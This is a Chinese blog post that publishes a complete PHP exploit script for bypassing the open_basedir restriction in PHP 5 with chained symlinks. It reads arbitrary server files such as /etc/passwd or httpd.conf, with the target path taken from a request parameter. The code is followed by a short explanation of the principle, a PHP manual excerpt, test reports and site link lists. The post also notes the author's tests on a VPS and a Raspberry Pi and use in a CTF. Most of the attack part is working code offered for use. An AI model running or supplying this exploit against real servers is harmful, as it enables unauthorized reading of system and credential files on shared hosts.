PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍


Posted in PHP onJanuary 20, 2015

漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。

漏洞详情在这里 http://cxsecurity.com/issue/WLB-2009110068。

给出我写的EXP:

<?php

/*

* by phithon

* From https://3water.com

* detail: http://cxsecurity.com/issue/WLB-2009110068

*/

header('content-type: text/plain');

error_reporting(-1);

ini_set('display_errors', TRUE);

printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());

printf("disable_functions: %s\n", ini_get('disable_functions'));

$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');

$relat_file = getRelativePath(__FILE__, $file);

$paths = explode('/', $file);

$name = mt_rand() % 999;

$exp = getRandStr();

mkdir($name);

chdir($name);

for($i = 1 ; $i < count($paths) - 1 ; $i++){

  mkdir($paths[$i]);

  chdir($paths[$i]);

}

mkdir($paths[$i]);

for ($i -= 1; $i > 0; $i--) { 

  chdir('..');

}

$paths = explode('/', $relat_file);

$j = 0;

for ($i = 0; $paths[$i] == '..'; $i++) { 

  mkdir($name);

  chdir($name);

  $j++;

}

for ($i = 0; $i <= $j; $i++) { 

  chdir('..');

}

$tmp = array_fill(0, $j + 1, $name);

symlink(implode('/', $tmp), 'tmplink');

$tmp = array_fill(0, $j, '..');

symlink('tmplink/' . implode('/', $tmp) . $file, $exp);

unlink('tmplink');

mkdir('tmplink');

delfile($name);

$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";

$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";

echo "\n-----------------content---------------\n\n";

echo file_get_contents($exp);

delfile('tmplink');
function getRelativePath($from, $to) {

  // some compatibility fixes for Windows paths

  $from = rtrim($from, '\/') . '/';

  $from = str_replace('\\', '/', $from);

  $to   = str_replace('\\', '/', $to);
  $from   = explode('/', $from);

  $to     = explode('/', $to);

  $relPath  = $to;
  foreach($from as $depth => $dir) {

    // find first non-matching dir

    if($dir === $to[$depth]) {

      // ignore this directory

      array_shift($relPath);

    } else {

      // get number of remaining dirs to $from

      $remaining = count($from) - $depth;

      if($remaining > 1) {

        // add traversals up to first matching dir

        $padLength = (count($relPath) + $remaining - 1) * -1;

        $relPath = array_pad($relPath, $padLength, '..');

        break;

      } else {

        $relPath[0] = './' . $relPath[0];

      }

    }

  }

  return implode('/', $relPath);

}
function delfile($deldir){

  if (@is_file($deldir)) {

    @chmod($deldir,0777);

    return @unlink($deldir);

  }else if(@is_dir($deldir)){

    if(($mydir = @opendir($deldir)) == NULL) return false;

    while(false !== ($file = @readdir($mydir)))

    {

      $name = File_Str($deldir.'/'.$file);

      if(($file!='.') && ($file!='..')){delfile($name);}

    } 

    @closedir($mydir);

    @chmod($deldir,0777);

    return @rmdir($deldir) ? true : false;

  }

}
function File_Str($string)

{

  return str_replace('//','/',str_replace('\\','/',$string));

}
function getRandStr($length = 6) {

  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

  $randStr = '';

  for ($i = 0; $i < $length; $i++) {

    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);

  }

  return $randStr;

}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。

其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。

这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

精华就是这四句:

symlink("abc/abc/abc/abc","tmplink"); 

symlink("tmplink/../../../etc/passwd", "exploit"); 

unlink("tmplink"); 

mkdir("tmplink");

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

其中并没有任何操作触发open_basedir,但达到的 效果就是绕过了open_basedir读取任意文件 。

错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

open_basedir

将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令 不受 安全模式打开或者关闭的影响。

当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。

特殊值 . 指明脚本的工作目录将被作为基准目录。但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而改变。

在 httpd.conf 文件中中,open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的 方法 关闭(例如某些虚拟主机中)。

在 Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承。

用 open_basedir 指定的限制实际上是前缀,不是目录名。也就是说“open_basedir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜 线结束路径名。例如:“open_basedir = /dir/incl/”。

Note:

支持多个目录是 3.0.7 加入的。

默认是允许打开所有文件。

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

树莓派测试:

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。

前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。

发现没旁站,流量是通过网关转发的。

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP 相关文章推荐
PHP调用三种数据库的方法(2)
Oct 09 PHP
用PHP实现Ftp用户的在线管理的代码
Mar 06 PHP
PHP strtok()函数的优点分析
Mar 02 PHP
PHP下对数组进行排序的函数
Aug 08 PHP
重新封装zend_soap实现http连接安全认证的php代码
Jan 12 PHP
PHP持久连接mysql_pconnect()函数使用介绍
Feb 05 PHP
php 保留字列表
Oct 04 PHP
php通过rmdir删除目录的简单用法
Mar 18 PHP
列举PHP的Yii 2框架的开发优势
Jul 03 PHP
PHP防止刷新重复提交页面的示例代码
Nov 11 PHP
iOS10推送通知开发教程
Sep 19 PHP
PHP实现简单登录界面
Oct 23 PHP
php中解析带中文字符的url函数分享
Jan 20 #PHP
PHP中使用正则表达式提取中文实现笔记
Jan 20 #PHP
php中的观察者模式简单实例
Jan 20 #PHP
php 5.6版本中编写一个PHP扩展的简单示例
Jan 20 #PHP
PHP函数extension_loaded()用法实例
Jan 19 #PHP
php使用正则表达式获取图片url的方法
Jan 16 #PHP
php使用CURL伪造IP和来源实例详解
Jan 15 #PHP
You might like
给海燕B411配件机起死回生配上件
2021/03/02 无线电
仿Aspnetpager的一个PHP分页类代码 附源码下载
2012/10/08 PHP
采用thinkphp自带方法生成静态html文件详解
2014/06/13 PHP
ThinkPHP中的create方法与自动令牌验证实例教程
2014/08/22 PHP
php简单获取目录列表的方法
2015/03/24 PHP
php简单读取.vcf格式文件的方法示例
2017/09/02 PHP
laravel 输出最后执行sql 附:whereIn的使用方法
2019/10/10 PHP
JQuery下的Live方法和$.browser方法使用代码
2010/06/02 Javascript
JavaScript为对象原型prototype添加属性的两种方式
2010/08/01 Javascript
jquery实现图片翻页效果
2013/12/23 Javascript
jquery缓动swing liner控制动画过程不同时刻的速度
2014/05/29 Javascript
九种原生js动画效果
2015/11/11 Javascript
基于javascript实现按圆形排列DIV元素(二)
2016/12/02 Javascript
微信小程序使用checkbox显示多项选择框功能【附源码下载】
2017/12/11 Javascript
tween.js缓动补间动画算法示例
2018/02/13 Javascript
Vue resource三种请求格式和万能测试地址
2018/09/26 Javascript
微信小程序实现预览图片功能
2020/10/22 Javascript
vue-cli3 配置开发与测试环境详解
2019/05/17 Javascript
Nodejs + Websocket 指定发送及群聊的实现
2020/01/09 NodeJs
webpack安装配置与常见使用过程详解(结合vue)
2020/06/01 Javascript
Python编程中对文件和存储器的读写示例
2016/01/25 Python
python中 logging的使用详解
2017/10/25 Python
Python Django 实现简单注册功能过程详解
2019/07/29 Python
Python跑循环时内存泄露的解决方法
2020/01/13 Python
Pandas中DataFrame基本函数整理(小结)
2020/07/20 Python
Python创建临时文件和文件夹
2020/08/05 Python
python爬虫调度器用法及实例代码
2020/11/30 Python
利用html5的websocket实现websocket聊天室
2013/12/12 HTML / CSS
美国顶级防滑鞋:Shoes For Crews
2017/03/27 全球购物
应聘教师推荐信
2013/10/31 职场文书
新浪微博实习心得体会
2014/01/27 职场文书
十佳青年个人事迹材料
2014/01/28 职场文书
户外亲子活动策划方案
2014/02/07 职场文书
酒店辞职信怎么写
2015/02/27 职场文书
2016基督教会圣诞节开幕词
2016/03/04 职场文书
mysql中between的边界,范围说明
2021/06/08 MySQL